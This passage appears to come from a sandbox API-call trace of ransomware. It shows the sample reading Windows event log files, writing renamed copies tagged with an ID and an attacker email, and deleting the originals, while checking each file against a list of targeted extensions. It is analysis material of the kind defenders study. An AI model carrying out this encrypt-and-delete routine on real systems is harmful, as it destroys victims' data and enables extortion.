liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.916] SetEndOfFile (hFile=0x344) returned 1 [0076.917] CloseHandle (hObject=0x344) returned 1 [0076.917] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0076.918] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0076.918] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.918] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.918] lstrlenW (lpString=".doc") returned 4 [0076.918] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.918] lstrlenW (lpString=".docx") returned 5 [0076.918] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.918] lstrlenW (lpString=".pdf") returned 4 [0076.918] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.918] lstrlenW (lpString=".xls") returned 4 [0076.918] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.918] lstrlenW (lpString=".xlsx") returned 5 [0076.919] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.919] lstrlenW (lpString=".ppt") returned 4 [0076.919] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.919] lstrlenW (lpString=".zip") returned 4 [0076.919] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString=".rar") returned 4 [0076.919] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString=".bz2") returned 4 [0076.919] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString=".7z") returned 3 [0076.919] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.919] lstrlenW (lpString=".dbf") returned 4 [0076.919] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.919] lstrlenW (lpString=".1cd") returned 4 [0076.919] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.919] lstrlenW (lpString=".jpg") returned 4 [0076.919] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.919] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.919] lstrlenW (lpString=".doc") returned 4 [0076.919] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0076.919] lstrlenW (lpString=".docx") returned 5 [0076.919] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0076.920] lstrlenW (lpString=".pdf") returned 4 [0076.920] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString=".xls") returned 4 [0076.920] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString=".xlsx") returned 5 [0076.920] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0076.920] lstrlenW (lpString=".ppt") returned 4 [0076.920] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.920] lstrlenW (lpString=".zip") returned 4 [0076.920] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString=".rar") returned 4 [0076.920] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString=".bz2") returned 4 [0076.920] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString=".7z") returned 3 [0076.920] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0076.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.920] lstrlenW (lpString=".dbf") returned 4 [0076.920] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.920] lstrlenW (lpString=".1cd") returned 4 [0076.920] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0076.920] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0076.920] lstrlenW (lpString=".jpg") returned 4 [0076.920] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0076.921] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0076.921] lstrlenW (lpString="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 63 [0076.921] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0076.921] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0076.921] CloseHandle (hObject=0x344) returned 1 [0076.921] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 0x20 [0076.921] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0076.921] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0076.921] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.922] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.922] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0076.922] GetLastError () returned 0x0 [0076.922] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0077.222] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0077.224] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.225] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x152, lpOverlapped=0x0) returned 1 [0077.225] SetEndOfFile (hFile=0x354) returned 1 [0077.225] CloseHandle (hObject=0x354) returned 1 [0077.227] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.227] SetEndOfFile (hFile=0x344) returned 1 [0077.228] CloseHandle (hObject=0x344) returned 1 [0077.228] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0077.229] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx")) returned 1 [0077.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.229] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.229] lstrlenW (lpString=".doc") returned 4 [0077.229] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.229] lstrlenW (lpString=".docx") returned 5 [0077.229] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.230] lstrlenW (lpString=".pdf") returned 4 [0077.230] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString=".xls") returned 4 [0077.230] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString=".xlsx") returned 5 [0077.230] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.230] lstrlenW (lpString=".ppt") returned 4 [0077.230] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.230] lstrlenW (lpString=".zip") returned 4 [0077.230] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString=".rar") returned 4 [0077.230] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString=".bz2") returned 4 [0077.230] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString=".7z") returned 3 [0077.230] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.230] lstrlenW (lpString=".dbf") returned 4 [0077.230] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.230] lstrlenW (lpString=".1cd") returned 4 [0077.230] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.230] lstrlenW (lpString=".jpg") returned 4 [0077.230] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.230] lstrlenW (lpString=".doc") returned 4 [0077.230] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString=".docx") returned 5 [0077.230] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0077.230] lstrlenW (lpString=".pdf") returned 4 [0077.230] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0077.230] lstrlenW (lpString=".xls") returned 4 [0077.230] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0077.231] lstrlenW (lpString=".xlsx") returned 5 [0077.231] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0077.231] lstrlenW (lpString=".ppt") returned 4 [0077.231] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0077.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.231] lstrlenW (lpString=".zip") returned 4 [0077.231] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0077.231] lstrlenW (lpString=".rar") returned 4 [0077.231] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0077.231] lstrlenW (lpString=".bz2") returned 4 [0077.231] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0077.231] lstrlenW (lpString=".7z") returned 3 [0077.231] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0077.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.231] lstrlenW (lpString=".dbf") returned 4 [0077.231] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0077.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.231] lstrlenW (lpString=".1cd") returned 4 [0077.231] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0077.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 71 [0077.231] lstrlenW (lpString=".jpg") returned 4 [0077.231] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0077.231] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0077.231] lstrlenW (lpString="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 78 [0077.231] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0077.232] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1052672) returned 1 [0077.232] CloseHandle (hObject=0x344) returned 1 [0077.232] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 0x20 [0077.232] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0077.232] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0077.232] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.232] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.232] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0077.232] GetLastError () returned 0x0 [0077.233] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0077.254] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0077.805] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x1010, lpOverlapped=0x0) returned 1 [0077.814] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1020, lpOverlapped=0x0) returned 1 [0077.817] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.817] WriteFile (in: hFile=0x354, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x170, lpOverlapped=0x0) returned 1 [0077.818] SetEndOfFile (hFile=0x354) returned 1 [0077.818] CloseHandle (hObject=0x354) returned 1 [0078.452] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.452] SetEndOfFile (hFile=0x344) returned 1 [0078.565] CloseHandle (hObject=0x344) returned 1 [0078.565] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.565] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx")) returned 1 [0078.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.565] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.565] lstrlenW (lpString=".doc") returned 4 [0078.565] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.565] lstrlenW (lpString=".docx") returned 5 [0078.565] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.565] lstrlenW (lpString=".pdf") returned 4 [0078.565] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.565] lstrlenW (lpString=".xls") returned 4 [0078.565] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.565] lstrlenW (lpString=".xlsx") returned 5 [0078.566] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.566] lstrlenW (lpString=".ppt") returned 4 [0078.566] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.566] lstrlenW (lpString=".zip") returned 4 [0078.566] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString=".rar") returned 4 [0078.566] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString=".bz2") returned 4 [0078.566] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString=".7z") returned 3 [0078.566] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.566] lstrlenW (lpString=".dbf") returned 4 [0078.566] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.566] lstrlenW (lpString=".1cd") returned 4 [0078.566] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.566] lstrlenW (lpString=".jpg") returned 4 [0078.566] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.566] lstrlenW (lpString=".doc") returned 4 [0078.566] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString=".docx") returned 5 [0078.566] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.566] lstrlenW (lpString=".pdf") returned 4 [0078.566] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString=".xls") returned 4 [0078.566] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString=".xlsx") returned 5 [0078.566] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.566] lstrlenW (lpString=".ppt") returned 4 [0078.566] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.566] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.567] lstrlenW (lpString=".zip") returned 4 [0078.567] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.567] lstrlenW (lpString=".rar") returned 4 [0078.567] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.567] lstrlenW (lpString=".bz2") returned 4 [0078.567] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.567] lstrlenW (lpString=".7z") returned 3 [0078.567] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.567] lstrlenW (lpString=".dbf") returned 4 [0078.567] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.567] lstrlenW (lpString=".1cd") returned 4 [0078.567] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.567] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 86 [0078.567] lstrlenW (lpString=".jpg") returned 4 [0078.567] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.567] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.567] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0078.567] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.568] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0078.568] CloseHandle (hObject=0x344) returned 1 [0078.568] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0078.568] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.568] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.568] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.568] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.568] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.569] GetLastError () returned 0x0 [0078.569] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.572] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.574] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.574] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x132, lpOverlapped=0x0) returned 1 [0078.574] SetEndOfFile (hFile=0x384) returned 1 [0078.574] CloseHandle (hObject=0x384) returned 1 [0078.576] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: 